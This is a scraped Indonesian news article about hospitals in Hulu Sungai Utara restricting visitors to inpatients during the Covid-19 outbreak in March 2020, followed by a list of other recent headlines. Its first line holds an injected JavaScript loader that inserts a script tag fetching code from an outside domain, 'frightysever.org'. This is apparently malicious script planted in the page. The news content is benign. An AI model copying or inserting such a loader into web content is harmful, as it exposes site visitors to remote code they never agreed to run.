(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Mulai Senin 23 Maret, Layanan Kesehatan di HSU Batasi Kunjungan kepada Pasien


KANALKALIMANTAN.COM, AMUNTAI – Mulai Senin 23 Maret 2020 seluruh layanan kesehatan di Kabupaten Hulu Sungai Utara (HSU) menerapkan pembatasan kunjungan kepada pasien yang sedang rawat inap.

Hal tersebut sebagai salah satu langkah antisipasi penyebaran virus corona Covid-19 di Kabupaten Hulu Sungai Utara, khususnya di lingkungan pusat-pusat layanan kesehatan masyarakat.

“Mulai Senin, saat ini seluruh layanan kesehatan di HSU menerapkan pembatasan kunjungan kepada pasien yang sedang rawat inap, dimana tidak diperbolehkan untuk mengunjungi pasien kecuali hanya orang yang bertugas menjaga pasien, selebihnya tidak diperbolehkan masuk,” ujar Bupati HSU Abdul Wahid HK saat menggelar rakor bersama gugus tugas Covid-19 Kabupaten HSU dengan Gubernur Kalimantan Selatan melalui teleconference, Minggu (22/3/2020)

Dikatakan Wahid, pembatasan kunjungan ke rumah sakit ini, tidak hanya untuk pengunjung dewasa akan tetapi lebih khusus kepada anak usia di bawah 12 tahun, agar tidak berada di fasilitas kesehatan dan tidak berada di kerumunan.
Sedangkan untuk alokasi anggaran sesuai pentunjuk dari Kementrian Keuangan, Kementrian Dalam Negeri dan Gubernur Provinsi Kalimantan Selatan untuk menyiapkan anggaran dana tak terduga untuk kelancaran pencegehan covid 19 di Kabupaten HSU.

Informasi yang dihimpun Kanalkalimantan.com, untuk mengantisipasi dan pencegahan penyebaran Covid-19, RSUD Pambalah Batung Amuntai mulai melakukan perubahan jam pendaftaran pelayanan pasien rawat jalan di RSUD Pambalah Batung menjadi 30 menit dipercepat. Biasanya, Senin-Kamis jam pelayanan dari pukul 08.00-11.30 Wita menjadi 08.00-11.00 Wita, dan begitu pula hari Jum’at dan Sabtu dari pukul 08.00 Wita sampai pukul 10.00 Wita.

RSUD Pambalah Batung juga menghimbau masyarakat yang tidak ada masalah mendesak agar dapat menunda berkunjungnya ke Rumah Sakit.
Dirut RSUD Pambalah Batung Amuntai dr Moch Yandi Friyadi melalui surat edarannya juga menyebut sejak Jum’at 20 Maret 2020, sudah melakukan pembatasan pengunjung pasien yang memasuki area rawat inap (jam kunjungan ditiadakan) di RSUD. Selain itu, pihaknya juga hanya mengizinkan penunggu pasien rawat inap cuma 1 orang, begitu pula bagi pengantar pasien rawat jalan. (kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

56 menit ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

2 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

2 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

2 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

3 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

6 jam ago

This website uses cookies.